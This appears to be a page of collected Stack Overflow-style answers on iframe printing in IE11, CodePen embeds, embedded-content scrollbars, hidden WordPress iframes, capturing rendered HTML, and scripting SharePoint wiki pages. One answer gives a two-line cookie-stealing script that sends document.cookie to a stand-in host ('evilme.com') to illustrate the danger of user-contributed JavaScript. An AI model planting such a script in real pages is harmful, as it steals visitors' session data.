On IE11 printing the page below, cuts the iframe at the bottom rather than letting it expand to the next page. How can I prevent that and make it print everything?
Note: to reproduce this issue, just paste the code below into notepad and open it in IE
<html >
<head>
<style>
.myiframe{
width:100%;
height:6000px;
}
</style>
</head>
<body>
<div>
<a href="javascript:print()" ><h1>Print</h1></a>
</div>
<iframe class="myiframe" id="myiframe" scrolling="no" src="https://en.wikipedia.org/wiki/Wiki"/>
<div>
The rest of the page
</div>
</body>
</html>
On chrome it works fine. the content of the iframe expands and are all printed
I tried to find some workarounds to get more or less to the same result. These solutions should work fine on any browser.
Look at the solution 4. It seems to be the closest to what you want to achieve. (With working example)
Solution 1: I think I've got a solution that is not perfect, but might do the job.
Just before printing, you replace the iframe with an image of the iframe. I found this library called iframe2image : https://github.com/twolfson/iframe2image.
To catch the printing event, you can use the answer to this question: https://stackoverflow.com/a/23170458/2525304
I haven't had the chance to test it, but I think you could get something going with this.
EDIT:
Solution 2: Here is another think that could work. You could use this Html to PDF api to first convert the content of the iframe to a pdf. Then include this pdf where the iframe was (by using PDF.js for example) and print the page.
Here is another api doing this: http://www.convertapi.com/web-pdf-api
EDIT 2:
Solution 3 (working example):
I just found this website that lets you embed a Save page to PDF button that will return a pdf version of the page the user is on. You could replace the print button on your page with this button and tell the user to print the generated pdf.
Working example
The only problem is that the user is sent on another website to download the file. I think you can get a direct link to the pdf file when paying for the basic membership (5$/month).
There might be similar services offering a direct links for free that I haven't found.
EDIT 3:
Solution 4 (with working example):
I just found a website that gives a direct link to the generated PDF file of the page. More information here: http://pdf-ace.com/save-as-pdf-button/
Working example (I replaced the Print button)
I actually just had to add a max-height element and set it as max-height: 100%; which is what allowed the page to continue on.
You should have three existing style elements, two of which you already wrote.
They are:
width: 100%;
height: 6000px;
max-height: 100%;
Your body has absolute positioning, I assume. Try to create and adjust the CSS height property of the absolutely positioned element(s). Since I don't have the markup and/or CSS, I can't say what height needs to be set on which element(s). More than likely, it's going to be either 100% or auto. Possibly even a combination of both.
When I copy and pasted the code you've provided into a file, then opened it and tried to print, I did receive the same issue. However, what I described above seemed to stretch/fix it with little to no issues.
How it's written for me currently:
.myiframe {
width: 100%;
height: 6000px;
max-height: 100%;
}
<div>
<a href="javascript:print()">
<h1>Print</h1>
</a>
</div>
<iframe class="myiframe" id="myiframe" scrolling="no" src="https://en.wikipedia.org/wiki/Wiki" />
<div>
The rest of the page
</div>
Related
Desired Behaviour
Show embedded codepen in an environment where registered users can edit page content.
There may be more than one codepen added to a page.
Actual Behaviour
When adding a pen to the DOM, the pen does not display, only a link to the pen is displayed.
Steps To Reproduce
Note: the steps below are just to demonstrate the logic that would take place in my own environment, ie a registered user editing content on a website.
01) Go to this randomly selected pen
02) Click on the Embed link at the bottom right of the page
03) Copy contents from the HTML (recommended) tab
04) Go to https://blog.codepen.io/documentation/features/embedded-pens
05) Open Chrome developer tools, and replace a paragraph element with the embed code
06) The pen will not be displayed, only a link like:
See the Pen [pen_name] by [pen_author] on CodePen
Question
What additional steps do I need to make to ensure the codepen is rendered?
Given that the format of the embed code is:
<p class="codepen" data-height="300" data-theme-id="37516" data-default-tab="css,result" data-user="ste-vg" data-slug-hash="oKYjKV" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Clip Clop Clippity Clop">
<span>See the Pen <a href="https://codepen.io/ste-vg/pen/oKYjKV/">
Clip Clop Clippity Clop</a> by Steve Gardner (#ste-vg)
on CodePen.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>
it does seem a bit presumptuous to expect the script will just do its job when pasted in the page.
If that is the case, how do I dynamically add the contents (including the script tag) and ensure it is executed?
EDIT
I just came across this answer from 2010, which suggests this format:
$.getScript("https://static.codepen.io/assets/embed/ei.js", function(){
console.log("running new js!");
});
and when I run that in Chrome dev tools, after pasting the embed code in the DOM, the pen is rendered.
Is there anything wrong with this approach?
Why doesn't pasting the embed code in the DOM 'just work'?
Is the script file referenced in the embed code unique to the pen?
Or could you just add the script to your page once and it would handle all embedded pens (both existing and those dynamically added)?
I tried adding this to <head>:
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>
and having it there doesn't seem to parse existing or dynamically added embed code.
They still just display the message:
See the Pen [pen_name] by [pen_author] on CodePen
EDIT AGAIN
With script referenced in <head>, I tried calling this after dynamically adding the HTML to the DOM:
__CPEmbed()
And it renders the codepens!
I'm not sure if it is a legitimate way to do it, but I came across __CPEmbed at the end of the article here:
https://blog.codepen.io/documentation/prefill-embeds
I see you've figured it out! Yes, __CPEmbed() is the official API for triggering the iframe insertion. You can even feed it a specific selector if there are certain embeds you want to target: __CPEmbed('.my-codepen-embed')
It's triggered by default when the document.readyState !== 'loading', but you can call it at any time. Multiple calls should not affect already converted embeds.
I couldn't find this in our regular Embed documentation anymore, so I'm making a note to update that.
Thanks!
I am using the following HTML to embed HTML from an external URL into my site and it works great:
<object data="https://myapp.com/explore" width="100%" height="100%" type="text/html" style="overflow: hidden;">
<embed src="https://myapp.com/explore" width="100%" height="100%;" />
Error: Embedded data could not be displayed.
</object>
On the page, a vertical scroll bar is shown, which is the correct behavior I expect, as content is larger than the height of the Chrome browser window.
However, when I click the vertical scroll bar for the first time, the page scrolls... After that, without clicking, the page scrolls whenever the mouse is over the vertical scroll bar, WITHOUT me actually clicking to scroll.
Has anyone seen this, and can you suggest how to solve? It's a weird behavior I have not seen before...
I have tried your object + embed approach, and encountered the same problem with the scrollbar. The Chrome browser seems to not trigger the mousedown on the scrollbar, but does fire the mouseup, which looks like a bug. Why not try an iframe? It works as you expect, I think:
<iframe id="exploreIFrame" src="http://myapp.com/explore"
width="100%" height="100%" style="border: none;"
></iframe>
To make it span the entire window, set these styles:
<style type="text/css">
body { margin: 0; }
#exploreIFrame { position: fixed; }
</style>
It would be better to use an iframe instead of an embed.
iframe:
The iframe element represents a nested browsing context. The HTML 5 Standard describes "The element" as primarily used to include resources from other domains or subdomains, but can be used to include content from the same domain as well. The iframe's strength is that the embedded code is 'live' and can communicate with the parent document.
embed:
Standardized in HTML 5, but before that, it was a non standard tag, which admittedly, was implemented by all major browsers. Behavior prior to HTML 5 can vary...
The embed element provides an integration point for an external (typically non-HTML) application or interactive content. The HTML 5 Standard describes "The element" as used to embed content for browser plugins. Exceptions to this are SVG and HTML, which are handled differently according to the standard.
The details of what can and cannot be done with the embedded content is up to the browser plugin in question. But for SVG, you can access the embedded SVG document from the parent with something like:
svg = document.getElementById("parent_id").getSVGDocument();
From inside an embedded SVG or HTML document, you can reach the parent with:
parent = window.parent.document;
For embedded HTML, there is no way to get at the embedded document from the parent (that I have found).
Try using the max-height property in pixels, and use the overflow property to scroll...
object_classname{
max-height: 600px; //as you like
overflow-y: scroll;
}
Couldbe hardware related. If you have a button/wheel on the mouse that you are clicking when you select the scrollbar. IT sounds like a problemI experienced with amouse that had an extra button on a scroll wheel.
I'm working on a website that was created using WordPress. WordPress (or possibly a plugin, theme, or something else) is inserting the following CSS into the homepage:
<style type="text/css"> iframe { visibility: hidden; opacity: 0; } </style>
The above code is included as part of the original HTTP response received after a request for the homepage (I confirmed this using curl from my terminal).
I imagine the above code is part of a mechanism either to:
display the other content on the page as fast as possible and only display the elements after everything else has been displayed; or
display the elements only after dynamically setting their width, height, position, etc.
In Safari v9.1, the elements eventually get displayed. However, Firefox v47.0.1 failed to ever display the elements.
I can't provide a link to the actual website for privacy reasons.
Does anyone know what's going on? If not, does anyone have any suggestions about how I can find the Javascript code that is supposed to unhide the elements?
New to working with web UI. We have a complicated setup that takes code and generates resulting HTML 5 and CSS 3 with a bunch of javascript. I need to be able to capture the resulting HTML/CSS after taking the UI through a couple of workflows (that kick off a bunch of javascript DOM changes that I don't understand) so that I can work with my designer to tweak the layout and give back to the devs to change.
Is there a way to do this? I was able to copy the HTML from firebug but it still had references to the CSS on the server and there wasn't an easy way to download the CSS and update the HTML to point to them locally.
Thanks!
the following page will create a download link when you paste copied HTML into the box using firefox or chrome.
<html>
<b>Select All, Copy, and paste below to download the full copied HTML</b>
<div id=drop contentEditable
style="padding: 1em; height: 30em; background:#bbb;overflow:hidden; ">
</div>
<a id=out download=copied.html style=display:none> Download </a>
<script>
var out=document.getElementById("out"),
drop=document.getElementById("drop");
drop.onpaste=function doPaste(){
setTimeout(function(){
out.href="data:x-application/html,"+
escape(drop.innerHTML);
drop.style.display="none";
out.style.display="block";
}, 50);
};
</script>
</html>
to use with your site,
do stuff to make page change, then click an empty area of the page background and
press [CTRL]+[A] (win) or [CMD]+[A] (mac)
copy using right-click or keyboard
paste into the box in the file shown above
click "download" to download the resulting html file.
since it's a tiny file, i went ahead and threw a copy online so you can try it out; works pretty well for this page.
note that style info is converted to style attribs, so you don't need the css files, but at the same time, you don't have the filenames of the applied style, which some designers might want...
How can I, as the wiki admin, enter scripting (Javascript) into a Sharepoint wiki page?
I would like to enter a title and, when clicking on that, having displayed under it a small explanation. I usually have done that with javascript, any other idea?
If the wiki authors are wise, there's probably no way to do this.
The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting.
Let's suppose evil-me posts a script on a public web site:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
Now I will receive the cookie information of each visitor to the page, posted to a log on my server. And that's just the tip of the iceberg.
Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
With some more involved styles, your tooltip box can look as nice as you'd like.
It completely depends on the specific Wiki software you are using. The way I've seen work is to host a js file somewhere else and then include with a script tag with a src attribute.
If they don't allow that, maybe they allow an IFRAME that you can set to a page that includes the script. Using the second technique, you won't be allowed to access the host page's DOM.
I like the CSS answer. When you can use CSS instead of Javascript it results in simpler markup.
Another thing to look into is the Community Kit for SharePoint Enhanced Wiki Edition on Codeplex. You can download the source code and add in your own features. Or you can suggest this as a new feature in the forum.
Use a Content Editor Web Part
From the ribbon, select Insert and choose Web Part. From the menu, go to Media and Content and choose Content Editor. From the newly created webpart's dropdown menu, choose Edit Web Part. From the right webpart settings menu, expand Appearance and set Chrome Type to None. Click Click Here to Add Content on the webpart and locate Edit HTML Source in the ribbon. You can use HTML in this area without it being sanitized away.
Note: If you plan on adding behaviours to lots of page elements, you may want to upload .js files to Style Library and include only the <script src="..."> tag in the Content Editor. You may also want to look into using a custom master or page layout.
Source: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages
That sounds like a security risk. It seems it's possible for the wiki admin to install scripts, see wikipedia's user scripts.
If you're talking about using Javascript as part of a web page on this site, you can't. Or any other public wiki for that matter - it's a security risk.
If you're talking about posting a code sample, click on the '101010' button above the text box.
It would of course depend on the wiki engine you're talking to. Most likely though, as sblundy says, it would be a security risk to allow free usage of javascript on the wiki page.
You should not be able to add javascript code for any public wiki. If you are hosting it yourself, then you need to ask for a specific wiki system so someone can help you to modify the settings - if at all possible for that system.
Add title="text here" to any tag and it should show a text when hovering on it.
Internet Explorer shows the text when you use the alt="text here" attribute, although that is not according to the standards.
I tested now, and you can add <h2 title="some explanation here">headline</h2> to any system based on wikimedia (the one Wikipedia uses).